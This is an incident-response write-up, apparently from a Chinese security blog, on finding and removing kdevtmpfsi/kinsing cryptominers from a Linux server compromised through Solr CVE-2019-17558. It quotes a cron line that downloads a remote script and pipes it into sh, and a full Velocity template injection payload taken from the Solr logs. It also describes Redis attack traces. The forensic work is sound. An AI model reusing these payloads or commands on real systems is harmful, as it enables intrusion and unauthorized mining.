前言
朋友的Linux服务器很早就被挖矿了，但是他很懒，也很忙，搁置不管。笔者最近加入腾讯安全应急响应中心，由于工作内容的变化，最近想加强下入侵应急排查能力，借它练练手，顺便帮朋友清理一下。
基本信息 首先使用top命令查看一下
1
25478 root 20 0 712512 1452 724 S 49.2 0.1 13895:27 kdevtmpfsi
确认kdevtmpfsi就是挖矿木马，并且拿到了root权限，接下来看看植入时间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
root@ubuntu:/home/ubuntu# lsof -p 25478 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME kdevtmpfs 25478 root cwd DIR 253,1 4096 2 / kdevtmpfs 25478 root rtd DIR 253,1 4096 2 / kdevtmpfs 25478 root txt REG 253,1 3922304 436672 /tmp/kdevtmpfsi kdevtmpfs 25478 root DEL REG 0,15 78487503 /anon_hugepage kdevtmpfs 25478 root DEL REG 0,15 106038154 /anon_hugepage kdevtmpfs 25478 root 0r CHR 1,3 0t0 6 /dev/null kdevtmpfs 25478 root 1u REG 253,1 5 575025 /tmp/.ICEd-unix/330108689 (deleted) kdevtmpfs 25478 root 2w CHR 1,3 0t0 6 /dev/null kdevtmpfs 25478 root 3r DIR 253,1 4096 2 / kdevtmpfs 25478 root 4r FIFO 0,10 0t0 78487493 pipe kdevtmpfs 25478 root 5w FIFO 0,10 0t0 78487493 pipe kdevtmpfs 25478 root 6u a_inode 0,11 0 6978 [eventpoll] kdevtmpfs 25478 root 7r FIFO 0,10 0t0 78487494 pipe kdevtmpfs 25478 root 8w FIFO 0,10 0t0 78487494 pipe kdevtmpfs 25478 root 9u a_inode 0,11 0 6978 [eventfd] kdevtmpfs 25478 root 10r CHR 1,3 0t0 6 /dev/null kdevtmpfs 25478 root 11u sock 0,8 0t0 101725910 protocol: TCP kdevtmpfs 25478 root 12u sock 0,8 0t0 101726121 protocol: TCP kdevtmpfs 25478 root 13u IPv4 106194697 0t0 TCP 172.21.0.11:36390->193.33.87.219:http (ESTABLISHED)
查看文件时间，一般这个时间都是不靠谱的，因为可以自己进行修改时间戳。
1 2
root@ubuntu:/home/ubuntu# ls -al /tmp/kdevtmpfsi -rwxr-xr-x 1 root root 3922304 Jun 17 06:26 /tmp/kdevtmpfsi
这里它还启动了服务，查看服务的时间，2020-04-18 22:16:06，服务时间一般比较靠谱。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
root@ubuntu:/home/ubuntu# systemctl status 25478 ● cron.service - Regular background program processing daemon Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled) Active: active (running) since Sat 2020-04-18 22:16:06 CST; 2 months 18 days ago Docs: man:cron(8) Main PID: 1225 (cron) CGroup: /system.slice/cron.service ├─ 1225 /usr/sbin/cron -f ├─ 2109 /usr/local/safe//agent -d ├─ 2122 barad_agent ├─ 2123 barad_agent ├─ 2124 barad_agent ├─16834 /bin/sh -c ntpdate -b -d update.yun.com 2>&1 | grep 'step time server' | sed -r 's/.*offset(.*)sec.*/1/' ├─16835 ntpdate -b -d update.yun.com ├─16836 grep step time server ├─16837 sed -r s/.*offset(.*)sec.*/1/ ├─17951 /var/tmp/kinsing └─25478 /tmp/kdevtmpfsi Jul 07 00:11:01 ubuntu CRON[16676]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &) Jul 07 00:11:01 ubuntu CRON[16677]: (root) CMD (wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1) Jul 07 00:11:01 ubuntu CRON[16675]: pam_unix(cron:session): session closed for user root Jul 07 00:11:01 ubuntu CRON[16674]: pam_unix(cron:session): session closed for user root Jul 07 00:12:01 ubuntu CRON[16817]: pam_unix(cron:session): session opened for user root by (uid=0) Jul 07 00:12:01 ubuntu CRON[16816]: pam_unix(cron:session): session opened for user root by (uid=0) Jul 07 00:12:01 ubuntu CRON[16818]: (root) CMD (wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1) Jul 07 00:12:01 ubuntu CRON[16819]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &) Jul 07 00:12:01 ubuntu CRON[16817]: pam_unix(cron:session): session closed for user root Jul 07 00:12:02 ubuntu CRON[16816]: pam_unix(cron:session): session closed for user root
这里要在这个时间上下扩展几天，因为可能拿到服务器，进行挖矿了，还进行其他操作，也会留下痕迹。
去掉 /sys/fs 、 /run/udev 、 /sys/kernel 之类开头的数据，再根据黑客的习惯，比如把程序放在tmp目录，来锁定一些文件。
1 2 3 4 5 6 7
linux 文件的三种时间(以 find 为例):通过stat myfile命令也可查看到 atime 最后一次访问时间, 如 less, more 等, 但 chmod, chown, ls, stat 等不会修改些时间(使用ext3文件系统的时候，如果在mount的时候使用了noatime参数那么就不会更新atime的 信息。), ctime 最后一次状态修改时间, 如 chmod, chown 等状态时间改变但修改时间不会改变, 使用 stat file 可以查看; mtime 最后一次内容修改时间, 如 vi 保存后等, 修改时间发生改变的话, atime 和 ctime 也相应跟着发生改变. crtime 创建时间 ls -i ./file debugfs -R 'stat <13377>' /dev/sda1
在确定最早的时间，往后退几天作为结束时间搜索（使用最后一次修改时间）。
1
find / -type f -newermt '2020-4-16 00:00' ! -newermt '2020-04-22 22:16'
发现tmp还有挖矿的临时文件没被删除，4.21号。临时文件一般不会刻意去修改时间戳或者修改，也是比较靠谱。
1 2
root@ubuntu:/tmp# ls -al zzz -rwxr-xr-x 1 root root 27608 Apr 21 21:04 zzz
那大概基本信息得出了，挖掘木马4.16号或者更早拿下了服务器root权限进行cpu挖矿。
挖矿木马是怎么进来的？ 首先看看服务器开了哪些服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root@ubuntu:/tmp# netstat -atlp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 *:http *:* LISTEN 1618/apache2 tcp 0 0 *:ssh *:* LISTEN 1337/sshd tcp 0 0 *:smtp *:* LISTEN 1853/master tcp 0 0 localhost.localdo:36356 *:* LISTEN 1341/containerd tcp 0 0 172.21.0.11:ssh 1.1.1.1:13540 ESTABLISHED 12063/sshd: ubuntu tcp 0 0 172.21.0.11:41626 bh63797.dnsrus.net:http ESTABLISHED 17951/kinsing tcp 0 0 172.21.0.11:41680 bh63797.dnsrus.net:http ESTABLISHED 17951/kinsing tcp 0 0 172.21.0.11:41358 bh63797.dnsrus.net:http TIME_WAIT - tcp 0 0 172.21.0.11:36390 193.33.87.219:http ESTABLISHED 25478/kdevtmpfsi tcp6 0 0 [::]:ssh [::]:* LISTEN 1337/sshd tcp6 0 0 [::]:smtp [::]:* LISTEN 1853/master tcp6 0 0 [::]:31111 [::]:* LISTEN 17951/kinsing
ssh、http、smtp，大概猜测到挖矿木马就是通过这几个服务搞进来的，但是为了严谨，不能说大概，得找实锤。不然工作应急，说大概也许，后面再被搞进来就很麻烦。
ssh 执行lastb命令查看发现爆破倒是一大堆，而且他这个服务器密码并不是很强壮，但是登陆成功的ip都是他的历史ip，暂时排除ssh爆破进来的可能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
root@ubuntu:/tmp# last ubuntu pts/1 1.1.1.1 Mon Jul 6 23:51 still logged in ubuntu pts/2 2.2.2.2 Mon Jul 6 17:17 - 17:18 (00:00) ubuntu pts/1 2.2.2.2 Mon Jul 6 17:17 - 17:18 (00:00) ubuntu pts/2 3.3.3.3 Sun Jul 5 16:57 - 18:39 (01:42) ubuntu pts/1 3.3.3.3 Sun Jul 5 16:54 - 20:34 (03:39) ubuntu pts/0 3.3.3.3 Sun Jul 5 11:41 - 20:34 (08:52) ubuntu pts/0 3.3.3.3 Sat Jul 4 13:22 - 18:40 (05:18) ubuntu pts/0 4.4.4.4 Fri Jul 3 21:28 - 21:28 (00:00) ubuntu pts/1 2.2.2.2 Fri Jul 3 15:21 - 15:38 (00:17) ubuntu pts/0 2.2.2.2 Fri Jul 3 15:21 - 15:38 (00:17) ubuntu pts/1 2.2.2.2 Fri Jul 3 15:13 - 15:21 (00:08) ubuntu pts/0 2.2.2.2 Fri Jul 3 15:13 - 15:21 (00:08) ubuntu pts/1 4.4.4.4 Fri Jul 3 01:38 - 03:01 (01:22) ubuntu pts/0 4.4.4.4 Fri Jul 3 01:38 - 03:01 (01:22) ubuntu pts/1 4.4.4.4 Fri Jul 3 01:24 - 01:24 (00:00) ubuntu pts/0 4.4.4.4 Fri Jul 3 01:24 - 01:24 (00:00)
http 他的http服务也有自己放置的后门以及自己写的有漏洞的php程序，但并不是root权限运行的，意味着挖矿木马还需要提权，我觉得挖矿木马并没有这么全自动，为了更加谨慎些，排查http攻击日志并复测攻击payload但都没有成功，暂时排除http攻击进来都可能。
stmp 暂未发现有公开stmp rce漏洞，所以也暂时排除。
死路 于是问下朋友历史用过哪些开源软件，他说开过ssh、http、stmp、redis、docker、solr。如果应急业务的话，一定要问清楚历史开过什么服务，因为有些情况是业务上线那段时间搞进来的，然后你应急时已经下线了。因为他的服务器是4.16号被搞进来的，现在才开始应急，就是属于这种情况。
redis 第一种猜测是写恶意文件，这时明显会有脏数据，经过排查ssh密钥、cron计划任务都没有redis脏数据。
比如ssh密钥会有以下类似脏数据：
1 2 3 4 5 6 7 8 9 10
root@kali:~# cat /root/.ssh/authorized_keys REDIS0009� redis-ver5.0.5� �edis-bits�@�ctime��P_used-mem�h aof-preamble���xA� ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali ��J�#P��r
再看看redis的日志：
1 2 3
vim /etc/redis/redis.conf logfile /var/log/redis/redis-server.log
发现日志并未开启。如果有日志，也是可以从日志中看出一些痕迹。
第二种猜测是redis主从同步文件，然后加载so文件执行命令的方式。不过网上公开的脚本执行命令后会进行删除库文件，所以找不到so文件，这里也看不到痕迹。
1
remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
再看看其他痕迹，下面是使用kali模拟的。
1 2 3 4 5 6 7 8 9 10 11 12 13
127.0.0.1:6379> info replication # Replication role:master connected_slaves:0 master_replid:a5ef95e174d7d464f3563fd660e5ad8a009bef71 master_replid2:31f5d75bb871a43a2c5813da51212f9fdc31107a master_repl_offset:0 second_repl_offset:1 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0
再看看加载module的记录，虽然有MODULE UNLOAD system卸载module，但有时候异常退出时，并不会删除，这时就会有痕迹。
1 2 3 4 5 6
127.0.0.1:6379> module list 1) 1) "name" 2) "system" 3) "ver" 4) (integer) 1
还可以查看dbfilename变量，这个脚本在getshell成功后，会把dbfilename改成dump.rdp，所以这里是看不出痕迹。
1 2 3
127.0.0.1:6379> config get dbfilename 1) "dbfilename" 2) "dump.rdb"
再回过头看朋友的服务器，上面的痕迹都没有，也暂时排除掉redis。
docker docker常见攻击方式是挂载母机的任意目录进行写入恶意文件getshell，这种情况是有命令记录的。
查看docker的命令记录
或者直接进入docker容器里面，查看hostory记录，发现并没有痕迹。也暂时排除掉。
solr 就剩下solr没有进行排查了，来到solr日志目录。
1 2
ubuntu@ubuntu:/opt/solr-8.1.1/example/techproducts/logs$ ls solr-8983-console.log solr_gc.log.0.current solr.log solr.log.1 solr.log.2 solr.log.3 solr.log.4 solr_slow_requests.log
查看下log日志，因为之前有经验，直接寻找exec关键词，或者payload关键词，找到如下。
1 2 3 4 5 6 7 8 9 10
2020-04-21 04:27:02.767 INFO (qtp1209702763-23) [ x:techproducts] o.a.s.c.S.Request [techproducts] webapp=/solr path=/select params={q=1&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('/tmp/zzz'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity} hits=1 status=0 QTime=0 2020-04-21 04:27:02.846 ERROR (qtp1209702763-23) [ x:techproducts] o.a.s.s.HttpSolrCall null:org.apache.velocity.exception.MethodInvocationException: Invocation of method 'exec' in class java.lang.Runtime threw exception java.io.IOException: Cannot run program "/tmp/zzz": error=2, No such file or directory at custom.vm
at org.apache.velocity.runtime.parser.node.ASTMethod.handleInvocationException(ASTMethod.java:280) .......................... at java.lang.Thread.run(Thread.java:748) Caused by: java.io.IOException: Cannot run program "/tmp/zzz": error=2, No such file or directory at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048) at java.lang.Runtime.exec(Runtime.java:621) ..........................
发现是使用CVE-2019-17558的payload，在2020-04-21进行攻击的，时间吻合上了，还有zzz这个历史遗留痕迹在这日志中体现了，并且他说solr使用-force参数使用root权限启动的，这样就实锤了。
其实这种挖矿的一般都会自带横向攻击的，拿下分析一下就好，可是195.3.146.118挂了，而且是s.sh是不落地的。
1 2
root@ubuntu:/home/ubuntu# curl http://195.3.146.118/s.sh curl: (7) Failed to connect to 195.3.146.118 port 80: Connection refused
清理
业务处理 solr是已下线，所以暂时不需要处理，建议他后续使用solr的话务必使用最新版本并且不对公网开放。
处理账号 查看/etc/passwd，发现没有新增恶意账号，建议他修改账号密码，避免黑客已拖走密码文件暴力破解出密码。
搜索运行代码文件 通过文件描述符和文件类型确认正在运行的文件。
文件描述符：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
cwd – Current Working Directory txt – Text file mem – Memory mapped file mmap – Memory mapped device NUMBER – Represent the actual file descriptor. The character after the number i.e ‘1u’, represents the mode in which the file is opened. r for read, w for write, u for read and write. rtd：root directory; lnn：library references (AIX); er：FD information error (see NAME column); jld：jail directory (FreeBSD); ltx：shared library text (code and data); mxx ：hex memory-mapped type number xx. m86：DOS Merge mapped file; mem：memory-mapped file; mmap：memory-mapped device; pd：parent directory; tr：kernel trace file (OpenBSD); v86 VP/ix mapped file;
文件类型：
1 2 3 4 5 6 7
REG – Regular File DIR – Directory FIFO – First In First Out CHR – Character special file BLK：块设备类型 UNIX：UNIX 域套接字 IPv4：网际协议 (IP) 套接字
查看进程程序
1
lsof | grep txt | awk -F " " '{print $NF}' | xargs ls -al -tr
再检测一下so文件，以下面特征来定位系统加载的so。
1 2
FD TYPE DEVICE mem REG 253,1
1 2 3 4 5 6 7
root@ubuntu:/home/ubuntu# lsof | grep "mem" | grep "253,1" | grep REG | awk -F " " '{print $NF} -rw-r--r-- 1 root root 316768 Oct 11 2019 /usr/lib/sudo/sudoers.so -rw-r--r-- 1 root root 80304 Oct 11 2019 /usr/lib/sudo/libsudo_util.so.0.0.0 -rw------- 1 root root 16384 Feb 5 12:32 /var/lib/docker/builder/fscache.db -rw------- 1 root root 32768 Jul 13 23:47 /var/lib/docker/volumes/metadata.db -rw------- 1 root root 32768 Jul 13 23:47 /var/lib/docker/buildkit/cache.db -rw-r--r-- 1 root root 131072 Jul 15 22:43 /var/lib/containerd/io.containerd.metadata.v1.bolt/meta.db
从时间上来看，并没有替换系统文件之类的。
服务-进程守护
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
root@ubuntu:~# service --status-all [ + ] acpid [ + ] apache-htcacheclean [ + ] apache2 [ - ] apparmor [ + ] apport [ + ] atd [ - ] bootmisc.sh [ - ] cgroupfs-mount [ - ] checkfs.sh [ - ] checkroot-bootclean.sh [ - ] checkroot.sh [ + ] console-setup [ + ] cron [ - ] cryptdisks [ - ] cryptdisks-early [ + ] dbus [ + ] docker [ + ] grub-common [ - ] hostname.sh [ - ] hwclock.sh [ - ] irqbalance [ + ] iscsid [ + ] kdump-tools [ + ] kexec [ + ] kexec-load [ - ] keyboard-setup.dpkg-bak [ - ] killprocs [ + ] kmod [ - ] lvm2 [ + ] lvm2-lvmetad [ + ] lvm2-lvmpolld [ + ] lxcfs [ - ] lxd [ + ] mdadm [ - ] mdadm-waitidle [ - ] mountall-bootclean.sh [ - ] mountall.sh [ - ] mountdevsubfs.sh [ - ] mountkernfs.sh [ - ] mountnfs-bootclean.sh [ - ] mountnfs.sh [ - ] mysql [ + ] networking [ + ] ntp [ + ] ondemand [ + ] open-iscsi [ - ] open-vm-tools [ + ] php5.6-fpm [ + ] php7.3-fpm [ - ] plymouth [ - ] plymouth-log [ + ] postfix [ + ] procps [ + ] rc.local [ + ] resolvconf [ - ] rsync [ + ] rsyslog [ - ] screen-cleanup [ - ] sendsigs [ + ] ssh [ + ] ubuntu-fan [ + ] udev [ + ] ufw [ - ] umountfs [ - ] umountnfs.sh [ - ] umountroot [ + ] unattended-upgrades [ + ] urandom [ - ] uuidd [ - ] uwsgi [ - ] x11-common
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
root@ubuntu:/home/ubuntu# service --status-all | grep + | awk -F ' ' '{print $2}' | xargs -I {} service {} status | grep -Po "/.*?(?=;)" | xargs ls -al -tr -rw-r--r-- 1 root root 241 Mar 3 2015 /lib/systemd/system/ufw.service -rwxr-xr-x 1 root root 1581 Oct 16 2015 /etc/init.d/ondemand -rw-r--r-- 1 root root 169 Jan 15 2016 /lib/systemd/system/atd.service -rwxr-xr-x 1 root root 1105 Mar 16 2016 /etc/init.d/grub-common -rw-r--r-- 1 root root 290 Apr 5 2016 /lib/systemd/system/rsyslog.service -rw-r--r-- 1 root root 251 Apr 6 2016 /lib/systemd/system/cron.service -rw-r--r-- 1 root root 234 Apr 9 2016 /lib/systemd/system/acpid.service -rw-r--r-- 1 root root 335 Apr 16 2016 /lib/systemd/system/lvm2-lvmpolld.service -rw-r--r-- 1 root root 380 Apr 16 2016 /lib/systemd/system/lvm2-lvmetad.service -rw-r--r-- 1 root root 288 Jun 16 2016 /lib/systemd/system/console-setup.service -rw-r--r-- 1 root root 259 Oct 28 2016 /lib/systemd/system/ubuntu-fan.service -rw-r--r-- 1 root root 735 Dec 1 2016 /lib/systemd/system/networking.service -rw-r--r-- 1 root root 491 Jan 13 2017 /lib/systemd/system/dbus.service -rw-r--r-- 1 root root 345 Apr 20 2017 /lib/systemd/system/unattended-upgrades.service -rwxr-xr-x 1 root root 2365 Oct 9 2017 /etc/init.d/mdadm -rw-r--r-- 1 root root 311 Nov 9 2017 /lib/systemd/system/lxcfs.service -rw-r--r-- 1 root root 420 Nov 30 2017 /lib/systemd/system/resolvconf.service -rwxr-xr-x 1 root root 7972 Jan 18 2018 /etc/init.d/postfix -rw-r--r-- 1 root root 340 Feb 6 2018 /lib/systemd/system/kdump-tools.service -rwxr-xr-x 1 root root 1560 Feb 14 2018 /etc/init.d/ntp -rwxr-xr-x 1 root root 3323 Feb 21 2018 /etc/init.d/kexec-load -rwxr-xr-x 1 root root 1121 Feb 21 2018 /etc/init.d/kexec -rw-r--r-- 1 root root 635 Mar 16 2018 /etc/systemd/system/rc-local.service -rwxr-xr-x 1 root root 2802 May 24 2018 /etc/init.d/apport -rwxr-xr-x 1 root root 2210 Jun 11 2018 /etc/init.d/apache-htcacheclean -rwxr-xr-x 1 root root 8087 Jun 11 2018 /etc/init.d/apache2 -rw-r--r-- 1 root root 1068 Aug 3 2018 /lib/systemd/system/open-iscsi.service -rw-r--r-- 1 root root 455 Aug 3 2018 /lib/systemd/system/iscsid.service -rw-r--r-- 1 root root 445 Aug 22 2018 /lib/systemd/system/ssh.service -rw-r--r-- 1 root root 825 Jan 11 2019 /lib/systemd/system/systemd-udevd.service -rw-r--r-- 1 root root 653 Jan 11 2019 /lib/systemd/system/systemd-sysctl.service -rw-r--r-- 1 root root 717 Jan 11 2019 /lib/systemd/system/systemd-random-seed.service -rw-r--r-- 1 root root 967 Jan 11 2019 /lib/systemd/system/systemd-modules-load.service -rw-r--r-- 1 root root 326 Sep 2 2019 /lib/systemd/system/php5.6-fpm.service -rw-r--r-- 1 root root 326 Oct 8 2019 /lib/systemd/system/php7.3-fpm.service -rw-r--r-- 1 root root 1735 Feb 5 12:57 /lib/systemd/system/docker.service
也并无异常，再看看计划任务的情况，发现有通过cron进行权限维持。
1 2 3 4
root@ubuntu:/home/ubuntu# crontab -l */1 * * * * /usr/local/safe//start.sh > /dev/null 2>&1 & 0 0 * * * /usr/local/safe//SafeCrontab.sh > /dev/null 2>&1 & * * * * * wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1
再查看下cron具体的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
root@ubuntu:/home/ubuntu# service cron status ● cron.service - Regular background program processing daemon Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled) Active: active (running) since Sat 2020-04-18 22:16:06 CST; 2 months 22 days ago Docs: man:cron(8) Main PID: 1225 (cron) CGroup: /system.slice/cron.service ├─ 1225 /usr/sbin/cron -f ├─ 2109 /usr/local/safe//agent -d ├─ 2122 barad_agent ├─ 2123 barad_agent ├─ 2124 barad_agent ├─25447 /var/tmp/kinsing └─25478 /tmp/kdevtmpfsi Jul 11 00:54:41 ubuntu CRON[17243]: pam_unix(cron:session): session closed for user root Jul 11 00:54:41 ubuntu CRON[16998]: pam_unix(cron:session): session closed for user root Jul 11 00:54:41 ubuntu CRON[17406]: pam_unix(cron:session): session closed for user root Jul 11 00:54:41 ubuntu CRON[18192]: pam_unix(cron:session): session closed for user root Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session opened for user root by (uid=0) Jul 11 00:55:01 ubuntu CRON[19703]: pam_unix(cron:session): session opened for user root by (uid=0) Jul 11 00:55:01 ubuntu CRON[19705]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &) Jul 11 00:55:01 ubuntu CRON[19706]: (root) CMD (wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1) Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session closed for user root Jul 11 00:55:03 ubuntu CRON[19703]: pam_unix(cron:session): session closed for user root
cron 派生出来的进程
1 2 3 4 5 6 7 8
CGroup: /system.slice/cron.service ├─ 1225 /usr/sbin/cron -f ├─ 2109 /usr/local/safe//agent -d ├─ 2122 barad_agent ├─ 2123 barad_agent ├─ 2124 barad_agent ├─25447 /var/tmp/kinsing └─25478 /tmp/kdevtmpfsi
可以看到cron 执行的命令记录，还有一些关闭进程的信息之类
1
Jul 11 00:55:01 ubuntu CRON[19705]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &)
最终干掉这两个恶意进程和删除cron任务
凉个24小时，发现没再出现挖矿程序，这次挖矿应急就结束了。
总结 2020.4.16 挖矿木马通过solr的CVE-2019-17558漏洞攻击进来，并进行挖矿。
整个过程还是比较简单，从特征开始，就是cpu占满这种非常明显的特征（有的只有dns流量传出来，其他一切正常），然后日志基本没有清理(有些直接删除，有些进行伪造)，最后维持权限的手段比较明显（我以前遇到隐藏shell文件，但是你直接用各种工具扫是扫不出，但是每次能给你挂菠菜信息）。
加个好友
推荐阅读
欢迎 在看 丨 留言 丨 分享至朋友圈 三连
原文始发于微信公众号（乌雲安全）：实战|一次应急挖矿木马
评论